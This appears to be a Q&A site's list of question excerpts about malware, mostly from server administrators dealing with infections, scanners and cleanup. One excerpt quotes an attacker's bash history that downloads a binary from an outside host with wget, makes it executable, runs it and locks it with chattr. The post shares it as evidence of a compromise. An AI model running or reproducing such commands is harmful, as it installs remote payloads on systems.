Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

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11 views

How to update malware definition on Windows Defender Offline?

I downloaded mssstool64.exe and create a USB stick to boot a laptop. After it boots up, on the GUI, there is a tab called Update which is meant to download the latest definition. However, when you ...
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65 views

Anybody have first hand experience with “/usr/bin/fuck” or “/usr/bin/fake.cfg”, Know where it comes from? [duplicate]

Not a 'general' question. I found a some good suggestions for this question 'does anybody have experience with...' and not the question 'how do I deal with an infected server'. I think they are ...
1
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1answer
66 views

Something renames files to filename.ext.suspected

I've experienced a very strange behavior on a Debian server. This server runs a lot of website, most of them CMS, mainly WordPress. And sometimes something renames my files from wp-db.php to ...
4
votes
1answer
269 views

Will preventing POST requests stop the spread of a remote access trojan?

I like the acronym RAT (remote access trojan), because it resembles another type of thing you need to get rid of from your kitchen, and because when you get rid of one and find the hole it made and ...
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0answers
31 views

Linux got infected by virus and eats all CPU [duplicate]

My linux server seems like got Trojan, and a process with random name eats all CPU. The process came out again in a second after I killed them. The files are created in /usr/bin/, and after I set it ...
0
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1answer
35 views

Errors installing Linux Malware Detector on Ubuntu 14.04 LTS

Upon running ./install .sh, I get... ln: failed to create symbolic link ‘/usr/local/sbin/maldet’: No such file or directory ln: failed to create symbolic link ‘/usr/local/sbin/lmd’: No such file or ...
1
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1answer
58 views

Getting heavy traffic from random IP addresses

Digital ocean closed my droplet dude to have traffic on droplet. I made a new droplet(instance) and I am facing the same issue again. My nginx access.log is full of random ip address trying to make ...
0
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1answer
35 views

Troubleshooting connectivity when curl returns 'empty reply' from a server on my computer only

For whatever reason, my computer (Mac OS X 10.11.1) cannot fetch a webpage from a website using curl when it works fine on other computers. Also ping works but curl doesn't: $ ping ...
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0answers
12 views

LMD/Maldetect: Missing target-file operand after

After running mallet 1.5 in screen-mode (# maldet -a /var/www) I'm getting this return: maldet(6070): {scan} 618017/618044 files scanned: hits 0 cleaned/usr/bin/wc: ...
0
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2answers
24 views

Find out which PHP-Script starts Apache2-process

I would like to know how you find out which php-scripts are starting apache2-processes, which are causing high load. It seems that one user is infected with malware (php-shell). LMD ...
2
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1answer
55 views

Detecting/preventing malicious outlook rules

Attackers like to abuse Outlook for a variety of purposes. For example, an attacker could auto forward emails to a remote address or persist inside a network by creating client-side rules that ...
1
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1answer
37 views

Malware scanning in the cloud (Azure)

Has anyone had success implementing a mechanism that can scan uploaded files for malware when using Azure? In this instance, I would be using their Sites and storage options, rather than controlling ...
0
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0answers
38 views

using testdisk to restore old superblock, cryptowall3.0 restoration

I have a drive that was infected with cryptowall3.0 Documentation states that the file is deleted and then from memory a new file is encrypted and that memory file is rename. Hypothetically restoring ...
1
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1answer
294 views

How can I scan files (or data streams) for virus/malware before uploading them into the server and database?

How can I scan an incoming file upload (or a datastream) into a webserver and database for virus/malware? I know how (using the excellent Clam) to scan things after they have been uploaded, but I ...
0
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2answers
211 views

Ads by jabuticaba in all browsers

Recently we got a user who had some malware on his machine -- we've run our McAfee VirusScan Enterprise software, malware bytes anti-malware, combo-fix, adwcleaner and hijack this just to name a few ...
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0answers
11 views

redirect malware on server - next steps? [duplicate]

At least 3 separate websites (running different php web applications ) on our server have been very occasionally (few times a moonth) redirecting pages to malware pages showing ads. Initially it ...
0
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2answers
209 views

How can I check who created a file on server?

Looking through server logs I've noticed some mailicious PHP files hidden among WP and Joomla folders and I'm wondering how they got on the server. Is there a way to review that? It's a shared hosting ...
0
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0answers
27 views

My server got hacked [duplicate]

My server was hacked and I've found the next in the bash history: cd /usr/bin wget lixianddos.com:2211/syslog chmod u+x syslog ./syslog ss chattr +i syslog mv chattr ddos rm -rf ...
0
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0answers
64 views

Filter internal mails for Spam on Office 365 (Exchange Online)

Whilst making the transition from the On-Premises Exchange 2010 Server to Office 365 (Exchange Online), we temporarily left unconfigured our E-mail filtering smart host (Websense Cloud E-mail ...
0
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0answers
15 views

CentOS VPS is possibly rooted, but no tools show anything [duplicate]

I've received a notification from my VPS provider (Afterburst) that my VPS is trying to scan and bruteforce other people's servers. I know that I'm not doing this, and I know that nobody else with ...
0
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1answer
43 views

Strange process running

I just mentioned that one user starts a process which is called "httpd". 31712 ftp_johndoe 20 0 35988 8828 1460 S 14.0 0.0 1h50:31 httpd 28616 ftp_johndoe 20 0 5304M 43936 35080 S 4.0 0.2 ...
0
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0answers
135 views

How does FireAmp (anti-malware) actually work?

Several companies I know of are rolling out an anti-malware product called FireAMP. The publisher's website is long on hype and short on technical details. How does the product actually work? I'm ...
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2answers
1k views

Is there a quick & easy solution to protect server 2012 against malware?

For a Windows Server 2012 Standard GUI version to support a small IDE Getting malware protection on my 1st server has become a much bigger problem than I imagined it would. My research covered a lot ...
0
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0answers
26 views

FTP Command runs at login for server [duplicate]

I have a windows 2003 server (yes i know it is EOL and needs updated but that is not the point of this question). Everytime I go to log onto the server, I get a command prompt that comes up and tries ...
0
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0answers
24 views

Defunct process Rev1112

We were having the following output in top on a Debian box on XenServer: top - 10:00:55 up 10 days, 24 min, 5 users, load average: 126.79, 128.96, 71.39 Tasks: 10382 total, 1 running, 4801 ...
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0answers
73 views

How to disable Symbolic link creation option to users in cPanel server? [closed]

In shared hosting server, one user is trying to upload 100s of symbolic link files and trying to access files out side. Mostly it is for malicious purpose. In this image, you can see 100s of symlink ...
0
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1answer
55 views

SCEP: imitate potential threat in both live and regular scanner to inspect logs

I am doing some powershell stuff to parse a few logs at work. I would also like to collect some information from the SCEP logs. I find the amount of logs available as well as the different locations ...
0
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0answers
19 views

parsing SCEP logs: last definitions update, last scan, viruses found [duplicate]

I would like to write some powershell scripts to extract some information from the SCEP log files. Particularly, I am interested in the following information when was the last scan performed? ...
3
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0answers
91 views

Linux Malware Detection Monitoring: Clean files after hit

I'm using LMD ("Maldet") for scanning a web server with different projects. For this purpose I'm using the inotify-monitoring. Well, the inotify-log shows, that the modified files are noticed, but I ...
0
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2answers
1k views

clamscan using maldet Error: Servname not supported for ai_socktype

So i have installed Linux Malware Detect (maldet) to scan a server and everything went fine with installation but when i run it i get an error. Bunch of errors and than the scan just closes it. Here ...
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1answer
124 views

SED multiline recursive find and replace [duplicate]

I have a large number of sites with the same bit of php inserted in all files that contain footer in their filenames. //###==### malicious code //###==### How to use SED or another command to ...
1
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1answer
146 views

Receiving empty mails from three different Windows PC's since 12 January, 2015

Problem Unexpected empty emails are sent by an unknown source since 12 January, 2015. Attempts to solve the issue they are all from company where I do network/sys support they are all from Windows ...
0
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1answer
292 views

How to remove crypto-ransomware on my network domain

Today some computer on my domain got infected with crypto-ransomware and have infected some folders on file server that only some computers on network have access to. So I presume one or more of five ...
0
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0answers
24 views

Suspicious process running in background in Fedora [duplicate]

There is a suspicious process which every time I boot Fedora starts and eats a percentage of CPU (10%~30%) and I think its name seriously denotes that it is malware! However, the name keeps changing ...
1
vote
2answers
57 views

Why is this server generating outbound IRC connections? [duplicate]

I noticed last night whilst checking our active sessions list on our firewall for something else, that a server was generating outbound IRC connections. Last night there was around 60 connections but ...
0
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2answers
360 views

My servers are overloaded with random GET requests. Why? [duplicate]

I'm getting a huge amount of traffic to web servers looking for bittorrent type queries: 110.152.78.14 - - [27/Jan/2015:01:45:22 +0000] "GET ...
0
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1answer
338 views

Automatic installation of DbSecurityspt folder [duplicate]

We have an Amazon EC2 instance. The folder DbSecurityspt gets automatically installed in c:/ProgramFiles and the associated service also starts automatically. Removing them, installs them again the ...
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votes
1answer
232 views

Server is trying to send out spam [duplicate]

My email server is attempting to send out a great deal of spam. I'm using Postfix & Dovecot. I'm trying to diagnose the problem and figure out how this is being sent. My guess right now is that ...
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votes
1answer
696 views

Backdoor:PHP/Shell.P keeps regenerating.Caught by Antivirus. [duplicate]

I have a windows server 2008 with PHP on it and a few Wordpress sites on it. I got a virus some time ago. I thought I had it deleted and everything was fine but after looking at my Quarantine section ...
1
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4answers
358 views

Blocking Invalid HTTP Requests to PHP Application

For the first time in a number of years, I'm semi-responsible for helping out with the server administration of a PHP web application (served out using Apache). We're seeing a number of requests for ...
0
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1answer
206 views

Apache2 Mod_spamhaus Whitelist

We are using Apache2 mod_spamhaus and many customers were banned using the "Post" method. There is no way to deny mod_spamhaus ban continuously our customers making false positive or ban customers ...
3
votes
2answers
298 views

High number connections coming from an IP

On our corporate network we're detecting workstations opening too many connections to the IP address 75.126.196.159 (port 3478) causing the Cisco ASA Firewall 5550 to detect a "SYN Attack" and reach ...
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votes
1answer
64 views

How to check if any malevolent scripts are running on the server? [closed]

I want to give some small jobs to freelancers who would have FTP access to my websites hosted on my server. I heard that sometimes it's possible they put malevolent scripts and software on the ...
0
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2answers
3k views

High CPU load on Centos with process sync_supers

My centos server has high cpu load right now. Please see the Htop output below. sync_supers is very suspected but I don't know how to kill it. Any suggestions?
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2answers
97 views

Best way to trace outgoing requests from a server

We have an Ubuntu 14.04.1 LTS server with nginx 1.4.6 that hosts a few dozen websites and received an abuse complaint from another server of hundreds of requests like this: "POST /wp-login.php ...
0
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1answer
371 views

Monitoring “external” worm activity remotely

Some of our computers in our company has been infected with the worm Conficker. We don't know the source of the infection, but I want to monitoring the outside activity to see if we are still infected ...
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2answers
210 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
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votes
1answer
491 views

Getting rid of Trojan on Debian Server [duplicate]

-------- EDIT --------- I do not agree that this is a duplicate of the linked question. I know that the correct way to deal with this is to wipe and reinstall the server. However, i am interested in ...
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1answer
208 views

My website redirects to malware link [duplicate]

I coded my own website and uploaded to a host. Some days ago I realized that in front page suddenly redirects to an unknown websites, until 3-4 redirects. The redirects ends up at: ...
0
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1answer
400 views

How to add wildcards to Linux Malware Detect ignore_paths

I am using Linux Malware Detect to scan and report on malware, but on a daily basis I receive alerts for malware in users emails (mainly spam folder). I do not want alerts for this, the spam folders ...